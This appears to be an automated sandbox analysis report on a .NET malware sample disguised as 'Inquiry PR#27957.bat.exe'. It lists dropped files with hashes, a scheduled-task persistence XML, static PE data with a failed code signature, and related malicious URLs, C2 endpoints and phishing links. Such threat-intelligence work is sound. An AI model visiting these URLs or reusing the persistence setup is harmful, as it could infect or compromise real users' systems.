	xj40xovMsm.exe	Get hash	malicious	AsyncRAT, AveMaria, Keyzetsu Clipper, MicroClip, PureLog Stealer, RL STEALER, RedLine	Browse	auth.xn--conbase-sfb.xyz/api/update2.pack
	6cd8a052498b02d1f070d36dcc6540838193d35eee101.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	868920cm.nyashka.top/Lineserver.php
188.114.96.3	http://threemanshop.com	Get hash	malicious	Unknown	Browse	threemanshop.com/favicon.ico
	http://threemanshop.com	Get hash	malicious	Unknown	Browse	threemanshop.com/cdn-cgi/images/cf-icon-server.png
	http://threemanshop.com	Get hash	malicious	Unknown	Browse	threemanshop.com/cdn-cgi/images/cf-icon-error.png
	purchase order_pdf.exe	Get hash	malicious	FormBook	Browse	www.evoolihubs.shop/fwdd/?MdEl=K/pqHoAOWNF4P+w91QXSNI32+N7yog1OarJgSNepE9X9MW/JWlOOpIGlAtDTMDCyfqCkO2QB+3/EX24VIjMTes4MJP5Wyr3Pze4srZjnfJQNxaR/LCxeJK4=&cv4D=Bv0xSH88iTF48zS0
	475bc80ba1e4ac7b2f40f2a3e1a677a2ccf1ad7f5e5d5.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	651186lm.nyashmyash.top/pipeRequestSecurePacketlowbigloaddefaultTempUploadsTemporary.php
	4LPk0o7T6C.exe	Get hash	malicious	FormBook	Browse	www.mainz-cruise-deals.today/rn94/?CZbDp=fTeDovxhSZ2T70J&2ds=09eGDPUJepCFUU6E4tGoUe5x4dgTJ3zXonwB9AX7AS4ixaR6NbPwPSgI2hlgq7bEBXzd
	xj40xovMsm.exe	Get hash	malicious	AsyncRAT, AveMaria, Keyzetsu Clipper, MicroClip, PureLog Stealer, RL STEALER, RedLine	Browse	auth.xn--conbase-sfb.xyz/api.php?{B955B2CC07A01546086603}
	Kxjf9xfVcb.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	911628cm.nyashka.top/imagevideopipehttpLowgameBigloadmultidleLocal.php
	327vRde1h3nsEEG.exe	Get hash	malicious	FormBook	Browse	www.gemaroke2.shop/mc10/?qR-LsrxH=cH0r006G1k9BH3Prdi0o8oeF8aabeeFKkLVVuPEC0gCNiYJWCEK9irK+mrJ5aktgxtn1&TVm0xb=yj88DTHplR0
	http://www.telegramkv.com/	Get hash	malicious	Unknown	Browse	www.telegramkv.com/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SYNERGYWHOLESALE-APSYNERGYWHOLESALEPTYLTDAU	rCjg912Ssb.elf	Get hash	malicious	Mirai	Browse	103.252.154.25
	PO Number 00127011.exe	Get hash	malicious	FormBook	Browse	110.232.143.110
	https://members.stageschool.com.au/unsubscribe/	Get hash	malicious	Unknown	Browse	110.232.143.111
	QUOTATION #U2013 RFQ 000535.exe	Get hash	malicious	FormBook	Browse	110.232.143.110
	COTA#U00c7#U00c3O #U2013 RFQ 000535.exe	Get hash	malicious	FormBook	Browse	110.232.143.110
	ftrrrttyt.exe	Get hash	malicious	FormBook	Browse	110.232.143.110
	RFQ2024563429876-9887877654.exe	Get hash	malicious	FormBook	Browse	110.232.143.110
	file.exe	Get hash	malicious	CMSBrute	Browse	43.250.142.104
	TC0931AC.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	103.42.108.46
	https://public-usa.mkt.dynamics.com/api/orgs/5c8c0184-a605-ef11-9f85-6045bd00390f/r/j0QY9SVMHE2ykWUnkq7W4wAAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fisaustralia.com.au%252Fdoc%252Findex.php%253Fmail%253D%2520ryan_scott%2540office.com%2526paths%253Dabove%2526link%253DFax_Outlook%22%2C%22RedirectOptions%22%3A%7B%221%22%3Anull%7D%7D&digest=0BTPcenE%2BSe3bCywe6VBjbwnefP6rRpeXY%2FFBeN4nTE%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	43.250.140.8
CLOUDFLARENETUS	https://0i0000923330.cc/2dr/index.html	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://pcpocu.shop/	Get hash	malicious	Unknown	Browse	104.16.198.133
	Autoliv Purchase Order #1727784.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://cloudflare-ipfs.com/ipfs/QmP2SgKUomqtvY4PmVtfbbHb2qdpL8VK8mAkoBJyub4nU4/index2sal2606.html#info@daiichi-sankyo.pt	Get hash	malicious	HTMLPhisher	Browse	104.17.64.14
	1050-C10 8000 - HV501_03.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	EGS-EP2409 #U5907#U4ef6#U7533#U8bf7#U5355 (HATCH COVER).exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	Selvretfrdig.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	https://l39.n8xgn.com/l39/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	3e#U0441.exe	Get hash	malicious	GuLoader	Browse	188.114.97.3
	xE5gan.xls	Get hash	malicious	Remcos	Browse	172.66.43.27
INWXDE	mrPTE618YB.exe	Get hash	malicious	PureLog Stealer	Browse	185.181.104.242
	2JQN1P3Y7e.exe	Get hash	malicious	FormBook	Browse	185.181.104.242
	Universalmiddel169.exe	Get hash	malicious	FormBook, GuLoader	Browse	185.181.104.242
CLOUDFLARENETUS	https://0i0000923330.cc/2dr/index.html	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://pcpocu.shop/	Get hash	malicious	Unknown	Browse	104.16.198.133
	Autoliv Purchase Order #1727784.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://cloudflare-ipfs.com/ipfs/QmP2SgKUomqtvY4PmVtfbbHb2qdpL8VK8mAkoBJyub4nU4/index2sal2606.html#info@daiichi-sankyo.pt	Get hash	malicious	HTMLPhisher	Browse	104.17.64.14
	1050-C10 8000 - HV501_03.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	EGS-EP2409 #U5907#U4ef6#U7533#U8bf7#U5355 (HATCH COVER).exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	Selvretfrdig.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	https://l39.n8xgn.com/l39/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	3e#U0441.exe	Get hash	malicious	GuLoader	Browse	188.114.97.3
	xE5gan.xls	Get hash	malicious	Remcos	Browse	172.66.43.27
LHPL	Inquiries_PDF.exe	Get hash	malicious	FormBook	Browse	5.252.231.250
	2x6j7GSmbu.exe	Get hash	malicious	FormBook	Browse	5.252.231.250
	KCS20240042- cutoms clearance doc.exe	Get hash	malicious	FormBook	Browse	5.252.231.250
	bPYR660y5o.exe	Get hash	malicious	Azorult, GuLoader	Browse	185.135.90.183
	A6yWw0hs74.exe	Get hash	malicious	GuLoader	Browse	185.135.90.183
	p2l1D8TV94.exe	Get hash	malicious	GuLoader	Browse	185.135.90.183
	Wwhv0rbIoV.exe	Get hash	malicious	GuLoader	Browse	185.135.90.183
	YP61700IK.exe	Get hash	malicious	GuLoader	Browse	185.135.90.183
	Begraensningen.exe	Get hash	malicious	GuLoader	Browse	185.135.90.183
	Halkbank_Ekstre_20230918_44390_097542.exe	Get hash	malicious	Azorult, GuLoader	Browse	185.135.90.183

Process:	C:\Users\user\Desktop\Inquiry PR#27957.bat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fuqwoDzun.exe.log

Process:	C:\Users\user\AppData\Roaming\fuqwoDzun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	2232
Entropy (8bit):	5.379677338874509
Encrypted:	false
SSDEEP:	48:tWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMugeC/ZPUyus:tLHxvIIwLgZ2KRHWLOug8s
MD5:	AAC9B2CC385B2595E11AAF60C4652279
SHA1:	5F14BE9EC829371BFAC9DDBF97BF156C13E03341
SHA-256:	0C17939EA24BBFE7F727AFB0FABC5BAFC8F2A8A5218BC9B2A7580A54B510EC84
SHA-512:	3BC9F81C7C9FD417B7F486550EBBE95CF4BA5408E013AB11FA54400F49DB8ACDAD5EE28C95278DACF62E6FDB30071D193EED741616C91E48F9A2ADC92EAAB257
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\30-335c-

Process:	C:\Windows\SysWOW64\sfc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0bqoxsyv.0tb.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0ytmigfx.o1s.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52d3jg3x.gek.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ssbsy5a.xna.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kilpmkri.esp.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmiyy5uf.j13.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qj3iycfy.ayd.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sq4p4rdb.3iz.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp2C94.tmp

Process:	C:\Users\user\Desktop\Inquiry PR#27957.bat.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	5.086063760426755
Encrypted:	false
SSDEEP:	48:cge2oHr8YrFdOFzOzN33ODOiDdKrsuTewm+uv:HeLwYrFdOFzOz6dKrsuqn+0
MD5:	34A7E634A78FEDC4DBED6DB889282F9F
SHA1:	BE793491A37AF112B9A33D1A52BA7982FDDFB8AE
SHA-256:	1FCB5B692FF418D3936B713B3C1A5083D653E172BA3E94F62962570C806313E1
SHA-512:	8834FF5C934FAE32B4F0707C7DF16FDBE3EC489E5B089085140E6545CAD744714CB9A20F2ED0C3F2FE316C7BA3E3D3F14150DE3F4C69B9F51F7BB6FF4BF28266
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvailable>f

C:\Users\user\AppData\Local\Temp\tmp40A9.tmp

Process:	C:\Users\user\AppData\Roaming\fuqwoDzun.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	5.086063760426755
Encrypted:	false
SSDEEP:	48:cge2oHr8YrFdOFzOzN33ODOiDdKrsuTewm+uv:HeLwYrFdOFzOz6dKrsuqn+0
MD5:	34A7E634A78FEDC4DBED6DB889282F9F
SHA1:	BE793491A37AF112B9A33D1A52BA7982FDDFB8AE
SHA-256:	1FCB5B692FF418D3936B713B3C1A5083D653E172BA3E94F62962570C806313E1
SHA-512:	8834FF5C934FAE32B4F0707C7DF16FDBE3EC489E5B089085140E6545CAD744714CB9A20F2ED0C3F2FE316C7BA3E3D3F14150DE3F4C69B9F51F7BB6FF4BF28266
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvailable>f

C:\Users\user\AppData\Roaming\fuqwoDzun.exe

Process:	C:\Users\user\Desktop\Inquiry PR#27957.bat.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	879624
Entropy (8bit):	7.7276775085868445
Encrypted:	false
SSDEEP:	12288:Kug4N2iNPkQetDqi68Qtx/QtWXF/WF9XZNQ64xx0uCffNDOgxSlFutDG54BsUYlE:dN11668MGZZG64B25/Sl8tDCtUayI7k
MD5:	9972524538C9F43A23AD683DA0A1A97A
SHA1:	4FE56974A8A9DB66FB9026B0C817A84111CB834B
SHA-256:	499EF83EEE9CEF5EFA3DFC22FC88A6962289722A65626EC1630721E930784287
SHA-512:	F345D5B30A53085393F4D7D6D626D2D20E2C410896AB906C039C3D745ED967480C2B4A03E4EC46D1A2F775E940D1E1161D4A07075ABED84DB301536AF12C973E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[.f.................,...........K... ...`....@.. ....................................@..................................J..W....`..L............6...6........................................................... ............... ..H............text...4+... ...,.................. ..`.rsrc...L....`......................@..@.reloc...............4..............@..B.................K......H....... ....a......$... ...............................................z.(......}.....(....o....}......0...........{............3.....(.......................0...........{......,....f.........}......}......}.......s....o....}.......}....8......{....o....}......{....}......}.............}.....{........Y}.....{....-...+H.{........{....X.{....X .;.\|.{....Xa}......}.....{....ow...:q....(....+..(........}.........(......................n..}.....{....,..{....oZ.....{....*.s..

C:\Users\user\AppData\Roaming\fuqwoDzun.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\Inquiry PR#27957.bat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.7276775085868445
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.98% Win32 Executable (generic) a (10002005/4) 49.93% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Inquiry PR#27957.bat.exe
File size:	879'624 bytes
MD5:	9972524538c9f43a23ad683da0a1a97a
SHA1:	4fe56974a8a9db66fb9026b0c817a84111cb834b
SHA256:	499ef83eee9cef5efa3dfc22fc88a6962289722a65626ec1630721e930784287
SHA512:	f345d5b30a53085393f4d7d6d626d2d20e2c410896ab906c039c3d745ed967480c2b4a03e4ec46d1a2f775e940d1e1161d4a07075abed84db301536af12c973e
SSDEEP:	12288:Kug4N2iNPkQetDqi68Qtx/QtWXF/WF9XZNQ64xx0uCffNDOgxSlFutDG54BsUYlE:dN11668MGZZG64B25/Sl8tDCtUayI7k
TLSH:	C215E060F148BDD3C55644FBDC61F94223BABB56562ED6956CF2B4CA10F27C22222E0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[..f.................,...........K... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4d4b2e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x668CD05B [Tue Jul 9 05:53:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 00:00:00 08/11/2021 23:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
